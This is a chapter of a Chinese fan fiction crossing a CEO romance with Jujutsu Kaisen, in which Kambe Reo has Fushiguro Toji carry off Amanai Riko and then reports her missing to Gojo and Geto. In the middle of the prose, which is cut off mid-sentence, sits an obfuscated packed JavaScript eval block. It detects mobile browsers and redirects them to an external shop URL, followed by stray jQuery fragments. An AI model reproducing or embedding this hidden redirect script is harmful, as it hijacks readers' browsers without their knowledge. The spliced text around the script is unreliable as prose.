10. 那场绑架

作品:《霸道总裁会梦见六眼神子吗

    “今晚?”


    “就今晚。”神户铃央说着,调出了天内理子的资料。


    伏黑甚尔总算明白为什么这大少爷非要和他签那什么合同了。


    这“绑架”任务的时间相当紧张啊。


    神户家的别墅装修是偏现代风格,150寸的电视上墙后影视效果很好。


    穿着学生制服,戴着白色发箍的少女的证件照显示在正中央,四周有几条红线,以她为中心连接着几张监控截图和照片。


    有一张全家福,有她每年的毕业照,也有她与更年长的女性相处的照片。


    密密麻麻的小字列在这些照片下面,明明白白展示着这个十四岁少女的一生。


    她从出生起,经历过的所有重要事件与关系较为亲密的人都在这上面了。


    伏黑甚尔挑挑眉,“受害者情报倒也不用这么详细。”


    “这位是星浆体,目前处于天元势力的监管之下。”


    神户铃央抱着台电脑,手指灵巧在键盘上敲击着,花花绿绿的字母数字快速滚动,幽蓝色的电子光映得神户铃央的侧脸明明灭灭。


    这场面,对于还处于按键手机时代的人来说过于高科技了。


    “我希望你能将天内理子绑出来。”


    星浆体事件背后,是高层长老会对五条悟稳定性的又一次试探,还是潜在的内奸在酝酿什么计划?


    神户铃央理解不了他们的脑回路,也懒得去和那些老东西智斗。


    在占据绝对情报优势的情况下,神户铃央只需要釜底抽薪,简单粗暴地实现利益最大化就可以了。


    “神户家会将她藏起来,而你要四处走走,制造出来天内理子生死不明的假象。”


    伏黑甚尔不在乎什么星浆体不星浆体的,他单手撑着下巴,靠在沙发一侧扶手上评估着这项任务的难度。


    “今晚之后,我会将官方对星浆体的追捕信息同步给你,避免与咒术师正面撞上暴露行踪。”


    神户铃央思路逐渐流畅,指节在笔记本上轻轻敲了敲,“至于诅咒师或者是什么别的势力,以你的实力应该能解决吧?”


    当风暴中心从众人的视线中消失,那些掩藏在水面下的,要么放弃天元转化这个大好时机继续蛰伏下去,要么就要不管不顾放手一搏。


    神户铃央只需要看着伏黑甚尔遛这些人就好。


    至于天元,如果天内理子果真是不可或缺独一无二的,那天元一定会不遗余力地寻找她。


    在咒术总监的职位上,监视天元的动态轻而易举,到时再随机应变就好。


    神户铃央交代完细节,拍拍手,侍者将一只银白色的手提箱放到桌面上打开,将里面的物品展示出来。


    一个短效的替身傀儡、一台新手机,一只通讯用的隐藏式耳机,全套的身份证明,数额不小的现金以及两张不同的黑卡。


    “这些能帮助你完成这次任务,需要什么咒具就自己买,金额不限。”


    伏黑甚尔看了看箱子里的那些东西,嘴角抽了抽,头一回打如此充裕的杖,“你这是早有预谋?”


    神户铃央思考着有无遗漏,随意回道,“不,只是临时起意,这是只是正式员工的常规装备。”


    从总监部神社出来,收集、整合情报到说服伏黑甚尔签下具备[契约]效用的合同,全程也不过四五个小时而已。


    零咒力的伏黑甚尔能绕过天元设置在星浆体周围的结界,以他的体术,也能神不知鬼不觉地在咒术师的看守下带走一个人。


    神户铃央现阶段能够利用的人手有限,在不动用童工的情况下,伏黑甚尔是一把相当好用的刀。


    尽管这把刀不服管教,有些刺手。


    但谢谢世界意识送来的金手指,有[契约]在,神户铃央做事办事都能够大胆很多。


    他抬头对上伏黑甚尔野狼一般凌厉的视线,温和地笑了笑,“他们想要我的性命,我动些手脚使些绊子也没什么吧?”


    “伏黑君不觉得现在的咒术界很糟糕吗?在这脆弱的平衡被打破之前,总要有人做些什么。”


    神户铃央话未说完,伏黑甚尔的耐心已经耗尽,拎着桌子上的手提箱就要走人。


    “老板,我对你们这些论调不感兴趣。”


    健壮的男人叹气,一只手挠挠后脑勺,“时间紧任务重,就别唠叨了。”


    门口,送神户铃央回来的那个司机已经换了一辆车在候着了。


    伏黑甚尔瞅着那辆低调但不失贵气的豪车,意味不明地笑了声,坐上车,消失在了夜幕里。


    “少爷,你觉得他听懂你的暗示了吗?”


    梅林连接了客厅的音响。


    “懂没懂都无所谓。”


    没有外人在的时候,神户铃央依旧坐得端正,他接过侍者送来的咖啡抿了一口。


    梅林:“也是,与您交心是命定之人的待遇。”


    “……”神户铃央觉得这AI的数据库已经被污染了。


    智能性直线下降,恋爱脑直线上升。


    “伏黑甚尔很聪明,但这个人的底色是带着一点自毁倾向的随心所欲,我可不指望随便几句话就可能讲到他心里去。”


    神户铃央起身,准备洗个澡换身衣服去书房加班。


    “金钱关系就已经足够牢靠,更何况是我这种程度的有钱。”


    神户铃央比金主大方,除了他,不会再有人随随便便就送伏黑甚尔这么多钱了。


    天刚擦亮时,伏黑甚尔扛着麻袋再次光临神户家的宅邸。


    他带着天内理子撤离的路上,碰到了服装店的装卸货车,顺手就把人塞麻袋里了。


    一个健壮的成年男人扛着一个少女有些引人注目,但扛着麻袋行动就方便多了。


    为了掩藏行踪,神户铃央没给他安排返程的车。


    伏黑甚尔顺着通讯耳机里的指示,翻窗爬进这间亮着灯的书房时,身上还带着层薄薄的清晨露气。


    森然的视线中不带感情,显得嘴角竖向的伤疤有些狰狞,上半身缠着个肉虫状的丑咒灵。


    比大猩猩还壮实的男人把天内理子放到沙发上,转身就要从窗户原路离开。


    神户铃央看着那个麻袋额角突突直跳,对伏黑甚尔的粗鲁有了更加深刻的认知。


    “等等。”神户铃央抽过手边的一份文件,递给伏黑甚尔。


    伏黑甚尔还扒拉着窗棂,瞟了眼神户铃央手里那几张纸,是他与神户财阀的劳务合同。


    他对这“卖身契”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946698|193013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    显然是非常不待见的,翻了个白眼就要接着跳窗。


    神户铃央忍了忍,道,“你回去最好仔细看看内容,上面有我术式的概述,还有公司的福利政策,有些需要你主动申请,否则会错过。”


    大约是看在福利的份上,伏黑甚尔勉强收下了合同,卷吧卷吧塞进了身上缠着的那坨咒灵的嘴里,然后直直坠了窗户。


    原本还想再提一下他家那俩小孩儿的神户铃央:……


    算了,对未来的王牌员工要多点耐心。


    看这任务完成得多好——沙发上,麻袋里的十四岁少女状况不明。


    神户铃央僵着脸,叫来了家庭医生和生活助理。


    ……


    “神户桑,下午好,要带我们去见星浆体了吗?”


    五条悟今天难得积极,早早地拉着夏油杰站到了集合点。


    昨天五条悟被送回来后,夜蛾正道专门找到他和夏油杰讲了有关星浆体的护送任务,由天元亲自指派,避无可避。


    但他已经和杰说好了,要救下那个初中生,也要看看嘴上说着要让老橘子退位的神户铃央想做什么。


    车门一开,五条悟叽叽喳喳讲话声就传到了神户铃央耳朵里。


    他熬了通宵,上午又被胃痛折磨,此时的脸色实在不佳,纯白的亮色晃得神户铃央一时失神。


    皮鞋踩到地面时脚步虚浮一瞬,又迅速稳住了。


    神户铃央浅浅地笑了笑,“今天的任务是去北海道处理一只准特级咒灵。”


    “是从当地民俗中诞生的咒灵,现在只是一级,但系统判断周边咒力波动异常,所以要你们两个一起。”


    五条悟眨眨眼,“诶?”


    夏油杰愣了愣,确认道,“那个,神户监督,我们昨天受到了紧急指派。”


    他观察着神户铃央的反应,狐狸眼眯成一条窄缝,“星浆体关系到天元大人的转化,据说是不容差池,要我们立刻出发。”


    五条悟还惦记着神户铃央昨晚的震撼发言,“就算铃央想要造反,也不能这样逃总监部的直接委派吧?”


    他凑过去,想揽神户铃央的肩膀,被对方轻飘飘避开了,“后果很严重哦。”


    停职审查算是轻的,一个不小心直接按上个什么罪名处死了就糟糕了。


    五条悟不死心又伸手捞了上去,挂在神户铃央身上,才哥俩好似的说道,“不过要是铃央求我的话,我就出面保下你哦。”


    盛夏的炎热已经初具苗头,偶尔吹拂在脸颊上的风已经变成了温热的。


    但神户铃央身上依旧穿着标准的西装三件套,周身带着冬日雪松般的沉稳气质。


    “星浆体失踪了,就在今天早上。”


    他说着,抬手推开五条悟,似是对这种接触极不适应,眉头都轻微地皱起来。


    “现场没有任何有用的线索,没有任何咒力残留,不知道凶手是谁、不知道星浆体是否活着,甚至连具体的失踪时间都无法判断。”


    神户铃央的语气相当平静,“咒术师对星浆体的失踪毫无头绪,所以他们听从了神户总监的建议。”


    他似乎露出了一个极其嘲弄的笑容,速度太快,夏油杰没有看清。


    “现在已经报警了。”